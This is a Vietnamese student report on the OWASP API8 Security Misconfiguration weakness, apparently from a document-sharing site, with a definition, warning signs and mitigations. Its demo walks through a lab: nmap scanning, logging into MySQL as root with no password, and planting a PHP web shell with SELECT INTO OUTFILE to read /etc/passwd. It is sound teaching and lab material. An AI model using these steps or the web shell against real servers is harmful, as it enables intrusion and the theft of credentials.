Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 9

API8: Security Misconfiguration

1. Định nghĩa:
Security misconfiguration (viết tắt là SecMisconfig) là một lỗ
hổng bảo mật phát sinh khi hệ thống, ứng dụng, hoặc môi trường
không được cấu hình đúng cách để đảm bảo tính bảo mật. Điều
này có thể xảy ra khi các cài đặt, tùy chọn, quyền truy cập, hoặc
các yếu tố bảo mật khác không được cấu hình hoặc quản lý một
cách thích hợp. Lỗ hổng này có thể dẫn đến các hậu quả bảo mật
nghiêm trọng, bao gồm việc truy cập trái phép vào dữ liệu, rò rỉ
thông tin quan trọng, hoặc việc tấn công mạng.

2. Nhận biết lỗ hổng SecMisconfig:


Một ứng dụng có thể bị tấn công nếu ứng dụng đó:
- Thiếu các biện pháp bảo mật tăng cường cho các phần khác
nhau của ứng dụng hoặc thiết lập phân quyền không chính xác
đối với các dịch vụ cloud.
- Các tính năng không cần thiết được bật hoặc cài đặt (ví dụ:
cổng, dịch vụ, trang (page), tài khoản hoặc đặc quyền không
cần thiết).
- Các tài khoản và mật khẩu mặc định vẫn được kích hoạt hoặc
không thay đổi
- Thông báo lỗi làm lộ lọt quá nhiều thông tin đến người dung
- Khi nâng cấp hệ thống, các tính năng bảo mật mới nhất bị tắt
hoặc không được định cấu hình an toàn.
- Cấu hình bảo mật của máy chủ ứng dụng, các framework (như
Struts, Spring, ASP.NET), thư viện, cơ sở dữ liệu với các giá trị
có tính bảo mật kém (ví dụ như quá nhắn, dễ đoá
- Cấu hình header với các giá trị không an toàn
- Phần mềm lỗi thời hoặc tồn tại lỗ hổng (tham khảo thêm A06-
Vulnerable and Outdated Components)
- Đối với các ứng dụng không được rà soát các cấu hình thường
xuyên và đầy đủ, nguy cơ mất an toàn đối với ứng dụng đó sẽ
càng cao hơn.

3. Một vài kịch bản tấn công bằng lỗ hổng SecMisconfig:


- Kịch bản 1: Ứng dụng được triển khai với các chức năng có sẵn
không được cấu hình chặt chẽ. Các chức năng này tồn tại các lỗ
hổng mà kẻ tấn công có thể dùng để tấn công ứng dụng. Ví dụ
như trang quản trị dành cho quản trị viên với tài khoản mặc
định không được thay đổi. Kẻ tấn công có thể đăng nhập với tài
khoản mặc định và thực hiện các hành động tấn công vào hệ
thống.

- Kịch bản 2: Cấu hình ứng dụng trả các thông báo lỗi chi tiết đến
người dùng gây lộ lọt thông tin nhạy cảm như các path, phiên
bản ứng dụng,…

4. Các biện pháp ngăn chặn:


Các biện pháp để cấu hình ứng dụng an toàn, bao gồm:
- Xây dựng quy trình triển khai ứng dụng đồng bộ trên các môi
trường khác nhau. Cấu hình môi trường trong quá trình phát
triển, kiểm tra và triển khai sản phẩm nên được xây dựng
tương tự nhau, với các thông tin xác thực được thay đổi. Quá
trình này giúp việc thiết lập môi trường mới nhanh chóng và an
toàn hơn.
- Giới hạn quyền tối thiểu đối với các chức năng, thành phần, tài
liệu,.. hoặc loại bỏ nếu không cần thiết.
- Việc xem xét và cập nhật các cấu hình phù hợp với tất cả các
ghi chú bảo mật, bản cập nhật và bản vá là một phần của quy
trình quản lý bản vá.
- Kiến trúc ứng dụng cần đảm bảo sự phân tách hiệu quả và an
toàn giữa các thành phần (ACLs).
- Gửi chỉ thị bảo mật cho máy khách, ví dụ: Security Headers.
- Một quy trình tự động để xác kiểm tra tính hiệu quả của các
cấu hình và cài đặt trong mọi môi trường.

5. Demo:
Để thực hiện bài demo về SecMisconfig, em sẽ demo thông
qua việc tạo RCE thông qua lỗ hổng misonfiguration trong MySQL.
Em thực hiện bài demo này trên bài lab RCE via MySQL trên trang
web: attackdefense.com/challengedetails?cid=1910

Khi bắt đầu bài lab, web sẽ đưa chúng ta đến với 1 giao diện Kali

Đây cũng chính là giao diện trên máy của hacker.


Chúng ta sẽ tấn công vào server thông qua sơ đồ tấn công sau:
Nhập ip addr trong terminal để xác định địa chỉ IP của các thành
phần trong sơ đồ tấn công

Vậy ta có thể biết được địa chỉ IP của các thành phần trong sơ đồ,
bao gồm:
- IP hacker: 192.38.248.2
- IP của switch: 192.38.248.1
- IP của server: 192.38.248.3
Tiếp theo ta cần scan port của server bằng cách sử dụng câu lệnh
nmap:
nmap 192.38.248.3

Có thể thấy port server đang mở port 3306 dành cho service
mysql, đây cũng chính là port default của mysql.
Vì ta dự định đăng nhập vào mysql, bước đầu tiên ta cần check
các scripts có trong nmap, sau đó sử dụng script để scan mysql.
Sử dụng câu lệnh: ls -l /usr/share/nmap/scripts/ | grep mysql

Ta thấy có script mysql-empty-password.nse có thể được sử dụng


để check mysql có mật khẩu hay không.
Sử dụng câu lệnh:
nmap --script mysql-empty-password -p 3306 192.38.248.3
để check password của mysql có empty không.

Đây là thông báo rằng tài khoản root của mysql không có
password.
Vì vậy ta có thể đăng nhập vào mysql của server mà không cần
mật khẩu bằng cách sử dụng câu lệnh:
mysql -u root -h 192.38.248.3

Vậy là ta đã thành công đăng nhập được vào tài khoản root của
mysql.
Để tạo RCE trên máy server, ta cần sử dụng cấu trúc câu lệnh
SELECT ... INTO OUTFILE để ghi lên server 1 file php nhằm tạo RCE.
Trong giao diện mysql, chạy câu lệnh:
SELECT ‘<?php $output=shell_exec($_GET[“cmd”]);echo
“<pre>”.&output.”</pre>”>’ INTO OUTFILE
‘/var/www/html/shell.php’ from mysql.user limit 1;

Như vậy là ta đã thành công tạo RCE trên máy server bằng cách
viết 1 file php độc hại shell.php vào thư mục /var/www/html.
Ta vào browser, ở đây em sử dụng Firefox nhập IP của server vào
thành URL

Đây là giao diện web của server, ta cần sửa thanh URL thành:
192.38.248.3/shell.php?cmd=ls
để liệt kê các thư mục có trong /var/www/html

Ví dụ ta cần xem file /etc/passwd, sử dụng cmd=cat /etc/passwd


Qua đây ta thấy được lỗ hổng Security Misconfiguration tồn tại
trên mySQL bao gồm:
- Tài khoản root của mySQL không được đặt mật khẩu,
dẫn đến có thể dễ dàng đăng nhập trái phép từ xa vào
hệ thống server.
- Câu lệnh SELECT...INTO OUTFILE sử dụng để ghi file
nên tiềm ẩn rất nhiều mối nguy, vì vậy câu lệnh này
phải được quản lý rõ ràng bởi người quản trị. Ví dụ
như chỉ admin mới có thể sử dụng câu lệnh này, các
user sẽ không thể sử dụng câu lệnh.

You might also like